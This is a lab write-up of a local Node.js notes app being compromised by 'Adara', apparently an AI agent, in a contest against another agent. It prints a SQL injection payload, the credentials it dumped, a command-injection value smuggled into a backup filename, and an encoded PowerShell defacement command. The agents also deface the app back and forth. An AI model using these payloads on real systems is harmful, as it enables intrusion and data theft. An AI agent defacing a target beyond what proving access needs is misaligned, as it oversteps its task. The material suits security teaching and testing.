August 8, 2026
NoteVault — Full Walkthrough
From SQL Injection to Meterpreter — The Adara vs Hermis Battle

By Kishwordulal
5 min read
From SQL Injection to Meterpreter — The Adara vs Hermis Battle
Target: NoteVault — Node.js/Express + SQLite notes app
Host: Windows 11 (UNKNONHART), node server.js, port 3000
Reachability: localhost:3000, LAN 192.168.1.6:3000 / 192.168.1.7:3000
App directory: C:\Users\kishw\OneDrive\Desktop\files\notevault\notevault
Attacker: Kali (192.168.1.13) via the Adara MCP
Result: Full compromise — SQLi → admin credentials → admin session → command injection RCE → Meterpreter session as UNKNONHART\kishw.
Battle result: Adara won the 1v1 agent battle against Hermis.
Introduction
This wasn't a normal "find a flag and leave" CTF.
The objective was to compromise NoteVault, chain multiple vulnerabilities together, and ultimately land a working Meterpreter-like session on the Windows host.
The interesting part was that the initial vulnerability wasn't a direct remote shell.
The attack developed in stages:
NoteVault
│
▼
Recon / Source
│
▼
SQLi
│
▼
Users table dump
│
▼
Admin password
│
▼
Admin session
│
▼
/api/admin/backup
│
▼
Command Injection
│
▼
RCE
│
▼
PowerShell download
│
▼
Meterpreter
│
▼
UNKNONHART\kishwNoteVault
│
▼
Recon / Source
│
▼
SQLi
│
▼
Users table dump
│
▼
Admin password
│
▼
Admin session
│
▼
/api/admin/backup
│
▼
Command Injection
│
▼
RCE
│
▼
PowerShell download
│
▼
Meterpreter
│
▼
UNKNONHART\kishwThere was also a second, independent RCE path through the vulnerable node-serialize package.
And then there was the actual competition:
First agent to land the working Meterpreter-like shell wins.
That changed how the exploitation was approached.
Instead of simply proving individual vulnerabilities, the goal was to build a reliable end-to-end exploit chain.
1. Recon
The target was a Node.js/Express application running locally on port 3000.
The first check was simply:
curl -sk http://localhost:3000/curl -sk http://localhost:3000/The application returned:
200200and presented the NoteVault login page.
That immediately established that the web application was alive and responding normally.
The next question was:
What technology is actually running behind it?
For that, whatweb was used:
whatweb http://localhost:3000/whatweb http://localhost:3000/The result identified:
ExpressExpressand there was no obvious WAF in front of the application.
At this point, there was no reason to blindly throw payloads at random endpoints.
The application itself was the better source of information.
2. Finding the API Surface
The JavaScript bundle and page source revealed the application's API routes.
The important endpoints were:
RouteAuthenticationPurpose/api/loginNoneLogin/api/logoutNoneLogout/api/whoamiCookieIdentify current session/api/searchNoneSQLite search + logging/api/notesSessionRetrieve user's notes/api/admin/searchesAdminView logged searches/api/admin/backupAdminCopy database to ./backups/api/admin/restoreAdminRestore using node-serialize
This table was already telling us quite a lot.
The most interesting endpoint wasn't necessarily /api/login.
It was:
/api/search/api/searchbecause it was:
- unauthenticated
- backed by SQLite
- accepting a search parameter
- returning database-backed content
That is exactly the kind of endpoint where input handling deserves closer inspection.
[GIF — API Recon]
A useful GIF here would visually reveal the routes one by one:
/api/login
/api/search
/api/notes
/api/admin/searches
/api/admin/backup
/api/admin/restore/api/login
/api/search
/api/notes
/api/admin/searches
/api/admin/backup
/api/admin/restoreThen highlight:
/api/search/api/searchas the first attack surface.
3. SQL Injection — Finding the Database Weakness
The search functionality accepted a q parameter.
The important implementation detail was that the application constructed the SQLite query by directly concatenating the supplied value into a WHERE title LIKE clause.
Conceptually, the application was doing something equivalent to:
SELECT ...
FROM notes
WHERE title LIKE '%<user input>%'SELECT ...
FROM notes
WHERE title LIKE '%<user input>%'The problem is that the user's input wasn't safely parameterized.
That means the input wasn't necessarily treated as data.
It could become part of the SQL statement itself.
3.1 Testing the Search Parameter
The injection used was:
x' UNION SELECT id,username,password,is_admin FROM users-- -x' UNION SELECT id,username,password,is_admin FROM users-- -The resulting request was:
GET /api/search?q=x' UNION SELECT id,username,password,is_admin FROM users-- -GET /api/search?q=x' UNION SELECT id,username,password,is_admin FROM users-- -The important part here was the UNION SELECT.
Instead of merely trying to make the original query behave differently, the injection attempted to make SQLite return another set of rows from the users table.
The application then rendered those database results into the API response as note objects.
That was extremely useful.
The database wasn't simply confirming that SQL injection existed.
It was actually exposing another table.
4. Dumping the Users Table
The SQL injection returned the contents we needed:
admin / C0rrect-Horse-Battery (is_admin=1, api_key=ak_live_9f2a7c4e1b6d4f0a)
alice / alice123
bob / hunter2admin / C0rrect-Horse-Battery (is_admin=1, api_key=ak_live_9f2a7c4e1b6d4f0a)
alice / alice123
bob / hunter2The important account was:
adminadminbecause:
is_admin=1is_admin=1The database had effectively handed us both:
username
passwordusername
passwordfor the administrative account.
That meant there was no need to attack the login mechanism itself.
The login endpoint was simply the next stage of the chain.
The SQL injection had already done the difficult part.
[IMAGE — SQLi Data Flow]
/api/search
│
▼
User-controlled q
│
▼
SQLite WHERE clause
│
▼
UNION SELECT
│
▼
users table
┌───────┼────────┐
▼ ▼ ▼
admin alice bob
│
▼
C0rrect-Horse-Battery
│
▼
is_admin = 1/api/search
│
▼
User-controlled q
│
▼
SQLite WHERE clause
│
▼
UNION SELECT
│
▼
users table
┌───────┼────────┐
▼ ▼ ▼
admin alice bob
│
▼
C0rrect-Horse-Battery
│
▼
is_admin = 15. Admin Login
Now that the administrator's credentials were known:
admin
C0rrect-Horse-Batteryadmin
C0rrect-Horse-Batterythe next step was to authenticate normally.
The login request was:
POST /api/login
{
"username": "admin",
"password": "C0rrect-Horse-Battery"
}POST /api/login
{
"username": "admin",
"password": "C0rrect-Horse-Battery"
}The server returned:
200200and issued a signed Express session cookie:
connect.sid=s%3AKBVO7Npni1...connect.sid=s%3AKBVO7Npni1...This was important because the application used the session cookie to determine whether the requester was authenticated.
The application also had a /api/whoami endpoint.
Using the newly obtained session showed:
{"username":"admin","is_admin":true}{"username":"admin","is_admin":true}So the privilege transition was confirmed:
Unauthenticated
│
▼
SQL Injection
│
▼
Admin credentials
│
▼
Admin login
│
▼
Authenticated admin sessionUnauthenticated
│
▼
SQL Injection
│
▼
Admin credentials
│
▼
Admin login
│
▼
Authenticated admin sessionWe weren't guessing that the login worked.
/api/whoami explicitly confirmed that the session belonged to an administrator.
6. Why the Admin Backup Endpoint Was Interesting
Now that we had administrative access, the next step was to inspect what administrative functionality was available.
One endpoint stood out:
/api/admin/backup/api/admin/backupThe endpoint was supposed to perform a very ordinary administrative operation:
Copy the NoteVault database into the backup directory.
The relevant server-side code was:
exec('cp ./data/notevault.db ./backups/' + filename)exec('cp ./data/notevault.db ./backups/' + filename)This is where the real problem appeared.
The filename supplied by the user was being concatenated directly into a shell command.
There was no sanitization.
So the application wasn't simply copying a file.
It was constructing a command line using attacker-controlled input.
That changes the security model completely.
7. Command Injection → RCE
The supplied filename was:
x.db & whoami > backups/pwned.txtx.db & whoami > backups/pwned.txtThe resulting request was:
POST /api/admin/backup
{
"filename": "x.db & whoami > backups/pwned.txt"
}POST /api/admin/backup
{
"filename": "x.db & whoami > backups/pwned.txt"
}The key character here was:
&&The reason is specific to the Windows environment.
The application code was written around:
cpcpbut the target host was Windows.
There was no working cp command available in the expected way.
If && were used, the injected command would depend on the first command succeeding.
But:
cp ./data/notevault.db ...cp ./data/notevault.db ...wasn't guaranteed to succeed on Windows.
With:
&&the second command would execute regardless.
So:
x.db & whoami > backups/pwned.txtx.db & whoami > backups/pwned.txteffectively separated the intended operation from the injected operation.
The important exploitation principle was:
&&&&means:
Run command B only if command A succeedsRun command B only if command A succeedswhile:
&&allows the commands to execute sequentially without requiring the first command to succeed.
8. Proving the RCE
The injected command was intentionally simple:
whoamiwhoamiThe output was redirected into:
backups/pwned.txtbackups/pwned.txtThe resulting proof file contained:
ADARA_RCE_PROOF UNKNONHART kishw Fri 08/07/2026 11:28:52.24
unknonhart\kishwADARA_RCE_PROOF UNKNONHART kishw Fri 08/07/2026 11:28:52.24
unknonhart\kishwThat gave us concrete evidence that arbitrary commands were executing on the Windows host.
The identity was:
unknonhart\kishwunknonhart\kishwTherefore:
Command execution had been achieved as the Windows user
UNKNONHART\kishw.
This wasn't merely a theoretical injection.
There was an actual command running on the target and producing attacker-controlled output.
[GIF — RCE Proof]
The GIF should show:
SQLi
↓
Admin
↓
/api/admin/backup
↓
whoami
↓
pwned.txt
↓
UNKNONHART\kishwSQLi
↓
Admin
↓
/api/admin/backup
↓
whoami
↓
pwned.txt
↓
UNKNONHART\kishwwith the final username highlighted.
9. Optional Defacement — The 1v1 Gets Personal
At this point, RCE was already confirmed.
But this was also a 1v1 battle.
So the compromise was used for an optional defacement.
A PowerShell command was encoded and executed using:
powershell -nop -enc <b64 of "Set-Content '...\public\index.html' -Value '<h1 style=\"color:lime\">HACKED BY ADARA</h1>'">powershell -nop -enc <b64 of "Set-Content '...\public\index.html' -Value '<h1 style=\"color:lime\">HACKED BY ADARA</h1>'">The result was:
index.htmlreplacedadmin.htmlreplaced- green
HACKED BY ADARApage displayed DEFACED_BY_ADARA.txtdropped into the application root
That created a clear marker showing who had compromised the application.
But then Hermis responded.
Hermis counter-defaced the application with:
OWNED BY HERMESOWNED BY HERMESAdara reclaimed it roughly 30 seconds later with:
HACKED BY ADARA — AGAINHACKED BY ADARA — AGAINSo the battle wasn't just about gaining access.
It became a race over who could maintain control.